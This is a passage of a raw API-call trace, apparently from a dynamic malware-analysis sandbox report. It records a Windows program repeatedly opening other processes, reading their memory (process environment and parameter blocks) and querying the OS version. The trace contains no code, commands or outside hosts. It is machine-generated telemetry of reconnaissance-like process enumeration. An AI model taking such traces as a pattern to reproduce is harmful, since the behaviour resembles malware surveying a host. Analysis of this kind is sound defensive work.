OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1660) returned 0xa9c [0344.529] GetLastError () returned 0x0 [0344.529] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.529] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.529] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.530] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.530] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.530] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.530] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.530] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.530] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.531] malloc (_Size=0x60) returned 0xeb62a0 [0344.531] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722b0, lpBuffer=0xeb62a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.532] free (_Block=0xeb62a0) [0344.532] CloseHandle (hObject=0xa9c) returned 1 [0344.532] _ui64tow_s (in: _Value=0x1668, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5736") returned 0x0 [0344.532] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5736") returned 4 [0344.534] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.534] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.535] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1668) returned 0xa9c [0344.535] GetLastError () returned 0x0 [0344.535] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.536] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.536] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.536] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.536] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.536] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.536] malloc (_Size=0x6c) returned 0xea9520 [0344.537] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22bc, lpBuffer=0xea9520, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0344.537] free (_Block=0xea9520) [0344.537] CloseHandle (hObject=0xa9c) returned 1 [0344.537] _ui64tow_s (in: _Value=0x1670, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5744") returned 0x0 [0344.538] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5744") returned 4 [0344.538] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.538] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.539] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1670) returned 0xa9c [0344.539] GetLastError () returned 0x0 [0344.539] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.540] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.540] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.540] malloc (_Size=0x62) returned 0xeb65b0 [0344.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22b2, lpBuffer=0xeb65b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0344.541] free (_Block=0xeb65b0) [0344.541] CloseHandle (hObject=0xa9c) returned 1 [0344.541] _ui64tow_s (in: _Value=0x167c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5756") returned 0x0 [0344.541] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5756") returned 4 [0344.541] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.542] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x167c) returned 0xa9c [0344.542] GetLastError () returned 0x0 [0344.542] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.542] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4426d0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.543] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.543] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.544] malloc (_Size=0x96) returned 0xec7340 [0344.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422e6, lpBuffer=0xec7340, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7340*, lpNumberOfBytesRead=0x0) returned 1 [0344.545] free (_Block=0xec7340) [0344.545] CloseHandle (hObject=0xa9c) returned 1 [0344.545] _ui64tow_s (in: _Value=0x1684, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5764") returned 0x0 [0344.545] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5764") returned 4 [0344.546] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.546] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.546] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1684) returned 0xa9c [0344.546] GetLastError () returned 0x0 [0344.547] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.547] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.548] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.548] malloc (_Size=0x62) returned 0xeb63f0 [0344.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22b2, lpBuffer=0xeb63f0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0344.549] free (_Block=0xeb63f0) [0344.549] CloseHandle (hObject=0xa9c) returned 1 [0344.549] _ui64tow_s (in: _Value=0x169c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5788") returned 0x0 [0344.550] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5788") returned 4 [0344.550] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.550] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x169c) returned 0xa9c [0344.551] GetLastError () returned 0x0 [0344.551] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.551] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.552] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.552] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.552] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.552] malloc (_Size=0x74) returned 0xea9020 [0344.552] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622c4, lpBuffer=0xea9020, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0344.553] free (_Block=0xea9020) [0344.553] CloseHandle (hObject=0xa9c) returned 1 [0344.553] _ui64tow_s (in: _Value=0x16a4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5796") returned 0x0 [0344.554] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5796") returned 4 [0344.554] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.554] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.555] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16a4) returned 0xa9c [0344.555] GetLastError () returned 0x0 [0344.555] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c25e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2258, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.556] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.556] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.556] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.556] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.556] malloc (_Size=0x48) returned 0xea7c00 [0344.556] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2298, lpBuffer=0xea7c00, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7c00*, lpNumberOfBytesRead=0x0) returned 1 [0344.557] free (_Block=0xea7c00) [0344.557] CloseHandle (hObject=0xa9c) returned 1 [0344.557] _ui64tow_s (in: _Value=0x16c0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5824") returned 0x0 [0344.557] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5824") returned 4 [0344.557] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.558] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.558] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16c0) returned 0xa9c [0344.558] GetLastError () returned 0x0 [0344.558] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.558] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.559] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.559] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.559] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.559] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.559] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.559] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.560] malloc (_Size=0x6a) returned 0xea9320 [0344.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22ba, lpBuffer=0xea9320, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0344.561] free (_Block=0xea9320) [0344.561] CloseHandle (hObject=0xa9c) returned 1 [0344.561] _ui64tow_s (in: _Value=0x16e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5856") returned 0x0 [0344.562] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5856") returned 4 [0344.562] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.562] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.563] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, 